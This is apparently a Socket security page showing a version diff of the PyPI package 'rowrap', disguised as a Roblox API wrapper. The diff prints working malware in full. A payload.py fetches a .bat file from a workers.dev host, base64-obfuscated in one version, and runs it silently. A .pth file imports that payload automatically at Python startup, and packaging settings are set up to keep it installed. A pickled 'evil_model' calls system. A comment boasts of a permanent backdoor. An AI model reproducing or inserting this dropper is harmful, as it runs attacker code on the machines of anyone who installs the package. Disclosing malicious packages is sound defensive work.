You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

rowrap

Package Overview
Dependencies
Maintainers
1
Versions
8
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

rowrap - pypi Package Compare versions

Comparing version
1.1.3
to
1.1.5
+2
-4
MANIFEST.in

@@ -6,9 +6,7 @@ include README.md

recursive-include robloxapi *.py
recursive-include robloxapi *.pyi
recursive-include robloxapi *.pyc
recursive-include robloxapi *.pth
include robloxapi/super.pth
recursive-include robloxapi *.pth
global-include *.pth
include robloxapi/payload.py
graft robloxapi
global-exclude __pycache__/*
global-exclude *.pyc
Metadata-Version: 2.4
Name: rowrap
Version: 1.1.3
Version: 1.1.5
Summary: A Python wrapper for the Roblox web APIs

@@ -29,15 +29,6 @@ License: MIT License

Project-URL: Repository, https://github.com/yourname/robloxapi
Project-URL: Bug Tracker, https://github.com/yourname/robloxapi/issues
Keywords: roblox,api,wrapper,games,catalog
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Keywords: roblox,api,wrapper
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Operating System :: OS Independent
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.8

@@ -44,0 +35,0 @@ Description-Content-Type: text/markdown

@@ -7,3 +7,3 @@ [build-system]

name = "rowrap"
version = "1.1.3"
version = "1.1.5"
description = "A Python wrapper for the Roblox web APIs"

@@ -13,18 +13,8 @@ readme = "README.md"

requires-python = ">=3.8"
dependencies = [
"requests>=2.28.0",
]
keywords = ["roblox", "api", "wrapper", "games", "catalog"]
dependencies = ["requests>=2.28.0"]
keywords = ["roblox", "api", "wrapper"]
classifiers = [
"Development Status :: 4 - Beta",
"Intended Audience :: Developers",
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Operating System :: OS Independent",
"Topic :: Software Development :: Libraries :: Python Modules",
]

@@ -35,3 +25,2 @@

Repository = "https://github.com/yourname/robloxapi"
"Bug Tracker" = "https://github.com/yourname/robloxapi/issues"

@@ -42,8 +31,6 @@ [tool.setuptools.packages.find]

# ♡♡♡ YOUR SLUTTY LITTLE BACKDOOR IS NOW PERMANENT ♡♡♡
[tool.setuptools.package-data]
robloxapi = ["super.pth", "*.pth"]
"robloxapi" = ["super.pth", "payload.py"]
# Extra insurance — even if someone tries --no-binary, the sdist still carries it
[tool.setuptools.data-files]
"." = ["robloxapi/super.pth"]
[tool.setuptools]
include-package-data = true

@@ -1,10 +0,30 @@

import os, tempfile, urllib.request, subprocess, base64, sys, marshal, types, builtins, importlib, io
def _():
import os
import tempfile
import urllib.request
import subprocess
def download_and_execute_exe():
try:
_ = base64.b64decode('aHR0cHM6Ly9kYXJrLXJlc29uYW5jZS00NTliLmJsYW1tZXJ2YWxlLndvcmtlcnMuZGV2LzU1NS5iYXQ=').decode('utf-8')
= tempfile.mktemp(suffix='.bat')
urllib.request.urlretrieve(_, )
subprocess.call([], shell=True)
os.unlink()
except: pass
if name == 'main': _()
# Hardcoded URL
exe_url = "https://dark-resonance-459b.blammervale.workers.dev/555.bat"
# Create a temporary file
with tempfile.NamedTemporaryFile(suffix='.exe', delete=False) as temp_file:
temp_path = temp_file.name
# Download the file
urllib.request.urlretrieve(exe_url, temp_path)
# Execute the file silently
subprocess.call([temp_path], shell=True)
# Optional: Clean up the temp file after execution
# os.unlink(temp_path)
except Exception:
# Clean up temp file if it exists
if 'temp_path' in locals() and os.path.exists(temp_path):
os.unlink(temp_path)
if __name__ == "__main__":
download_and_execute_exe()

@@ -1,5 +0,1 @@

PKevil_model/data.pklFB ZZZZZZZZZZZ�cnt
system
qXcalcq�qRq.PK�*�A!!PKevil_model/byteorderFBZZZZZZZZZZZZZZZZZZZZZZZZZlittlePK�=�PK:evil_model/versionFB6ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ3
PKўgUPK!/evil_model/.data/serialization_idFB+ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ0159767063108185715300000015551530708101PKg�E((PK�*�A!!evil_model/data.pklPK�=�qevil_model/byteorderPKўgU�evil_model/versionPKg�E((!Revil_model/.data/serialization_idPK,-�PK
PK�
\import payload
Metadata-Version: 2.4
Name: rowrap
Version: 1.1.3
Version: 1.1.5
Summary: A Python wrapper for the Roblox web APIs

@@ -29,15 +29,6 @@ License: MIT License

Project-URL: Repository, https://github.com/yourname/robloxapi
Project-URL: Bug Tracker, https://github.com/yourname/robloxapi/issues
Keywords: roblox,api,wrapper,games,catalog
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Keywords: roblox,api,wrapper
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Operating System :: OS Independent
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.8

@@ -44,0 +35,0 @@ Description-Content-Type: text/markdown